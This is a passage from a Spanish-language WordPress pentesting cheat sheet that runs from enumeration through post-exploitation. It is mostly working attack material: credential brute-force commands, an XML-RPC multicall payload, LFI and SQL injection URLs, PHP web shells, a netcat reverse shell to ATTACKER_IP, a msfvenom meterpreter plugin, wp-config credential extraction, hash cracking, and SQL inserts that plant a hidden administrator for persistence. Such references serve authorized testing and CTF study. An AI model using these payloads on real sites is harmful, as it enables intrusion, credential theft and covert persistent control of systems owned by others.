Intenta descubrir plugins que no exponen ficheros estáticos en la home.

```
wpscan --url $URL --plugins-detection mixed --enumerate ap,at,cb,dbe
```

Fuerza Bruta de Credenciales

Realiza peticiones POST contra `wp-login.php`. Útil si has enumerado usuarios válidos previamente.

```
wpscan --url $URL --usernames admin,editor --passwords /usr/share/wordlists/rockyou.txt --max-threads 50
```

3) Enumeración Manual (Cuando WPScan falla o está bloqueado)

3.1 - Enumeración de Usuarios

Explicación: WordPress a menudo expone los usuarios registrados (sus nombres de usuario válidos para login) a través de su API REST o mediante la funcionalidad de archivo de autor, facilitando diccionarios a medida para fuerza bruta.

Vía REST API (WordPress >= 4.7)

```
curl -s $URL/wp-json/wp/v2/users | jq '.[].slug'
```

Vía Author ID Archive (si la REST API está bloqueada)

```
for i in {1..10}; do curl -s -L -i $URL/?author=$i | grep -i "Location:";
done
```

3.2 - Abuso de XML-RPC (xmlrpc.php)

Explicación: `xmlrpc.php` es una API antigua. Permite dos ataques críticos:

- **SSRF/Pingback:** Usar el servidor de WP para escanear puertos internos.
- **Fuerza Bruta Amplificada:** En lugar de mandar 1 petición HTTP por cada intento de contraseña (ruidoso y lento), se usa `system.multicall` para enviar 1000 intentos de contraseña en una sola petición HTTP.

Verificar si responde

Debe devolver: `XML-RPC server accepts POST requests only.`

```
curl -s $URL/xmlrpc.php
```

Payload para Fuerza Bruta Amplificada (Multicall)

Este es el formato para meter múltiples intentos en un solo request.

```
<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param>
      <value>
        <array>
          <data>
            <!-- Intento 1 -->
            <value><struct>
              <member><name>methodName</
name><value><string>wp.getUsersBlogs</string></value></member>
              <member><name>params</name><value><array><data>
                <value><string>admin</string></value>
                <value><string>Password123!</string></value>
              </data></array></value></member>
            </struct></value>
            <!-- Intento 2 -->
            <value><struct>
              <member><name>methodName</
name><value><string>wp.getUsersBlogs</string></value></member>
              <member><name>params</name><value><array><data>
                <value><string>admin</string></value>
                <value><string>Admin123!</string></value>
```

```
        </data></array></value></member>
    </struct></value>
</data>
</array>
</value>
</param>
</params>
</methodCall>
```

4) Descubrimiento de Contenido (Fuzzing)

Explicación: Los administradores suelen hacer copias de seguridad de `wp-config.php` modificando su extensión (`.bak` , `.old`). Si el servidor web (Apache/Nginx) no está configurado para interpretar la extensión `.bak` como código PHP, la servirá como texto plano, filtrando las credenciales de la base de datos.

Fuzzing de archivos de configuración y backups

```
ffuf -u "$URL/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/burp-
parameter-names.txt -e .php.bak,.old,.txt,.zip -mc 200
```

Archivos clave a buscar:

- `wp-config.php.bak`
- `wp-config.php.save`
- `error_log`
- `debug.log`

5) Explotación: Sin credenciales (Pre-Auth)

Explicación: Ocurre cuando un plugin de terceros está mal programado y no valida la sesión de usuario o escapa mal los inputs.

5.1 LFI (Local File Inclusion) en Plugins

Explicación: Un parámetro del plugin lee un fichero del disco local sin validación.

Payloads típicos:

```
# Recorrido de directorios clásico
$URL/wp-content/plugins/plugin-vulnerable/download.php?file=../../../../../../
etc/passwd

# Bypass de filtros básicos y wrappers de PHP para leer código fuente en
base64 (evita que el PHP se ejecute)
```

```
$URL/wp-content/plugins/plugin-vulnerable/download.php?file=php://filter/convert.base64-encode/resource=../../../../../wp-config.php
```

5.2 SQLi (Inyección SQL)

Explicación: Un plugin acepta entrada del usuario (ej: un ID para ordenar elementos) y la pasa directamente a una consulta `WP_Query` o `$wpdb->query()`.

Payload típico:

```
# Extraer la contraseña hash del administrador
$URL/wp-admin/admin-ajax.php?action=vuln_action&id=-1 UNION SELECT
1,2,user_pass,4 FROM wp_users WHERE ID=1-- -
```

Automatización sugerida:

```
sqlmap -r request.txt --batch
```

6) Explotación: Con credenciales (Post-Auth `wp-admin`)

Explicación: En WordPress, tener un nivel de acceso `Administrator` equivale a RCE por diseño. El panel de administración permite modificar archivos `.php` subyacentes.

Método A: Editor de Temas (Theme Editor)

1. Ve a **Appearance -> Theme Editor**.
2. Selecciona el archivo `404.php`.
3. Inyecta el payload RCE:

```
<?php system($_GET['cmd']); ?>
```

1. Ejecuta y obtén shell reversa lanzando el comando por GET:

```
curl "$URL/wp-content/themes/<nombre-tema>/404.php?cmd=rm+ /tmp/f%3bmkfifo+ /tmp/f%3bcat+ /tmp/f | /bin/sh+ -i+2>%261|nc+ATTACKER_IP+LPORT+> /tmp/f"
```

Método B: Subida de Plugin Malicioso

Si el Theme Editor está deshabilitado en `wp-config.php`:

1. Comprime un fichero `shell.php` en un ZIP.
2. Ve a **Plugins -> Add New -> Upload Plugin**.
3. Sube el ZIP.
4. Navega a:

```
$URL/wp-content/plugins/malicioso/shell.php
```

7) Web Shells y Reverse Shells (Payloads Específicos)

Explicación: En auditorías o CTFs, funciones como `system()` o `exec()` pueden estar bloqueadas en `php.ini` (`disable_functions`). Aquí tienes varias alternativas.

One-liner básico (`system`)

```
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']);  
echo "</pre>"; die; }?>
```

Payload alternativo (si `system()` está bloqueado)

```
<?php  
$cmd = $_REQUEST['cmd'];  
# Prueba con passthru  
passthru($cmd);  
# Prueba con shell_exec  
echo shell_exec($cmd);  
# Prueba abriendo un proceso  
$handle = popen($cmd, 'r'); echo "'$handle'; " . gettype($handle) . "\n";  
$read = fread($handle, 2096); echo $read; pclose($handle);  
?>
```

Reverse Shell de PentestMonkey

Si tienes acceso para subir un archivo íntegro, este es el estándar en entornos Linux.
Se encuentra en Kali en `/usr/share/webshells/php/php-reverse-shell.php`.

Generación de Plugin Malicioso Ofuscado con MSFVenom

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f raw  
> shell.php  
zip malicious-plugin.zip shell.php
```

8) Post-Explotación (Ya en el sistema)

Explicación: Una vez dentro como `www-data` (usuario del servidor web), tu objetivo es pivotar a root o extraer información crítica. En WP, la joya de la corona es la base de datos, ya que permite controlar a los usuarios u obtener claves que pueden reciclarse en el SSH (ej: el admin de WP usa la misma clave para el SSH del servidor).

Leer wp-config.php (Credenciales de Base de Datos)

```
cat /var/www/html/wp-config.php | grep -E "DB_USER|DB_PASSWORD|DB_NAME|DB_HOST"
```

Conectar a MySQL/MariaDB

```
mysql -u USUARIO -p'CONTRASEÑA' -h localhost NOMBRE_BD
```

Extraer hashes de usuarios (dentro de mysql)

Explicación: Los hashes se guardan en la tabla `wp_users`. El formato estándar usa el framework `phpass` (`$P$B...`).

```
SELECT user_login, user_pass FROM wp_users;
```

Se crackean con:

```
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt
```

Cambiar la contraseña del administrador (Escalada)

Explicación: WordPress también soporta y reconoce MD5 puro como formato de hash si lo inyectamos manualmente en la base de datos por compatibilidad con versiones legacy.

```
UPDATE wp_users SET user_pass = MD5('NuevaPassword123') WHERE user_login = 'admin';
```

Crear un usuario Admin a nivel de Base de Datos (Persistencia silenciosa)

Explicación: En lugar de alterar el admin existente (lo cual es ruidoso y te dejará sin acceso si lo detectan), inyectas un nuevo usuario directamente en las tablas y metadatos con el nivel 10 de permisos (`Administrator`).

```
INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_status) VALUES ('hacker', MD5('pass123'), 'hacker', 'hacker@target.local', 0);
INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login='hacker'), 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}');
INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login='hacker'), 'wp_user_level', '10');
```